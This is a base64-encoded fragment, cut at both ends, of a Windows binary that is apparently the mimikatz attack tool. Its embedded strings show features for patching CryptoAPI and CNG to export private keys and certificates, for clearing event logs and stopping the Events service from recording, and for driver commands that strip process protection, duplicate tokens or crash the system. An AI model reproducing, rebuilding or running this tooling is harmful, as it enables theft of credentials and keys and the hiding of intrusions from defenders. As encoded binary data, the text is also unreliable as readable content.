AbQBlACAAIAAAAAAACgAJACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAAAAAACAAKAAgACUAdwBaACAAKQAAAAAACgAJACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAACgAJACAAIAAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAoACQAgACAAIAAgACAAAAAAAAAACgAJACAAIAAgAFQAaQBjAGsAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAIAA7ACAAawB2AG4AbwAgAD0AIAAlAHUAAAAAAAkAWwAuAC4ALgBdAAAAAAAlAHMAIAA7ACAAAAAoACUAMAAyAGgAdQApACAAOgAgAAAAAAAlAHcAWgAgADsAIAAAAAAAKAAtAC0AKQAgADoAIAAAAEAAIAAlAHcAWgAAAG4AdQBsAGwAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBjAHIAYwAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANAAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQAgACAAIAAgACAAIAAAAGQAZQBzAF8AYwBiAGMAXwBtAGQANQBfAG4AdAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuADIAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AZQB4AHAAIAAgACAAIAAAAHIAYwA0AF8AbABtACAAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AbQBkADQAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AcwBoAGEAIAAgACAAIAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdAAgACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG4AdABfAGUAeABwACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAIAAgACAAIAAAAHIAYwA0AF8AcABsAGEAaQBuAF8AbwBsAGQAXwBlAHgAcAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkACAAIAAgACAAIAAAAHIAYwA0AF8AaABtAGEAYwBfAG8AbABkAF8AZQB4AHAAIAAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADIANQA2AF8AaABtAGEAYwBfAHAAbABhAGkAbgAAAGEAZQBzADEAMgA4AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAGEAZQBzADIANQA2AF8AaABtAGEAYwAgACAAIAAgACAAIAAAAHUAbgBrAG4AbwB3ACAAIAAgACAAIAAgACAAIAAgACAAIAAAAFAAUgBPAFYAXwBSAFMAQQBfAEEARQBTAAAAAABQAFIATwBWAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAABQAFIATwBWAF8ASQBOAFQARQBMAF8AUwBFAEMAAAAAAFAAUgBPAFYAXwBSAE4ARwAAAAAAUABSAE8AVgBfAFMAUABZAFIAVQBTAF8ATABZAE4ASwBTAAAAUABSAE8AVgBfAEQASABfAFMAQwBIAEEATgBOAEUATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMARABTAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8AUwBJAEcAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAABQAFIATwBWAF8ARABTAFMAXwBEAEgAAABQAFIATwBWAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAAABQAFIATwBWAF8AUwBTAEwAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBGAE8AUgBUAEUAWgBaAEEAAABQAFIATwBWAF8ARABTAFMAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBFAE4ASABBAE4AQwBFAEQAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMATgBHACAAcwBlAHIAdgBpAGMAZQAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAG4AZwAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAHIAeQBwAHQAbwBBAFAASQAgAGwAYQB5AGUAcgAgAGYAbwByACAAZQBhAHMAeQAgAGUAeABwAG8AcgB0AAAAAABjAGEAcABpAAAAAABMAGkAcwB0ACAAKABvAHIAIABlAHgAcABvAHIAdAApACAAawBlAHkAcwAgAGMAbwBuAHQAYQBpAG4AZQByAHMAAAAAAGsAZQB5AHMAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAAABMAGkAcwB0ACAAYwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAHMAdABvAHIAZQBzAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAHAAcgBvAHYAaQBkAGUAcgBzAAAAQwByAHkAcAB0AG8AIABNAG8AZAB1AGwAZQAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEV4cG9ydEtleQBOQ3J5cHRHZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABDAHIAeQBwAHQARQBuAHUAbQBQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAKAEMATgBHACAAcAByAG8AdgBpAGQAZQByAHMAIAA6AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBwAHIAbwB2AGkAZABlAHIAcwAgADsAIABCAEMAcgB5AHAAdABFAG4AdQBtAFIAZQBnAGkAcwB0AGUAcgBlAGQAUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAAAAAABBAHMAawBpAG4AZwAgAGYAbwByACAAUwB5AHMAdABlAG0AIABTAHQAbwByAGUAIAAnACUAcwAnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcwB0AG8AcgBlAHMAIAA7ACAAQwBlAHIAdABFAG4AdQBtAFMAeQBzAHQAZQBtAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABNAHkAAAAAAHMAdABvAHIAZQAAACAAKgAgAFMAeQBzAHQAZQBtACAAUwB0AG8AcgBlACAAIAA6ACAAJwAlAHMAJwAgACgAMAB4ACUAMAA4AHgAKQAKACAAKgAgAFMAdABvAHIAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJwAlAHMAJwAKAAoAAAAAACgAbgB1AGwAbAApAAAAAAAJAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAIAAgADoAIAAlAHMACgAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAABtAGEAYwBoAGkAbgBlAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwBvAGYAdAB3AGEAcgBlACAASwBlAHkAIABTAHQAbwByAGEAZwBlACAAUAByAG8AdgBpAGQAZQByAAAAYwBuAGcAcAByAG8AdgBpAGQAZQByAAAAIAAqACAAUwB0AG8AcgBlACAAIAAgACAAIAAgACAAIAAgADoAIAAnACUAcwAnAAoAIAAqACAAUAByAG8AdgBpAGQAZQByACAAIAAgACAAIAAgADoAIAAnACUAcwAnACAAKAAnACUAcwAnACkACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAOgAgACcAJQBzACcAIAAoACUAdQApAAoAIAAqACAAQwBOAEcAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABFAG4AdQBtAEsAZQB5AHMAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAEUAeABwAG8AcgB0ACAAUABvAGwAaQBjAHkAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAcAB2AGsAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAABtAGkAbQBpAGsAYQB0AHoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABBAFQAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFAAAAAABDAE4ARwAgAEsAZQB5AAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAARQB2AGUAbgB0AHMAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQB2AG8AaQBkACAAbgBlAHcAIABlAHYAZQBuAHQAcwAAAGQAcgBvAHAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAAABsAG8AZwAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdABSAGUAbQBvAHYAZQAAAFIAZQBtAG8AdgBlACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwBSAGUAbQBvAHYAZQAAAAAATABpAHMAdAAgAG8AYgBqAGUAYwB0ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBSAGUAZwAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABzAHMAZAB0AAAAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAbQBvAGQAdQBsAGUAcwAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAABQAHIAbwB0AGUAYwB0ACAAcAByAG8AYwBlAHMAcwAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAQgBTAE8ARAAgACEAAAAAAGIAcwBvAGQAAAAAAFAAaQBuAGcAIAB0AGgAZQAgAGQAcgBpAHYAZQByAAAAcABpAG4AZwAAAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAALQAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAACsAAAByAGUAbQBvAHYAZQAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAB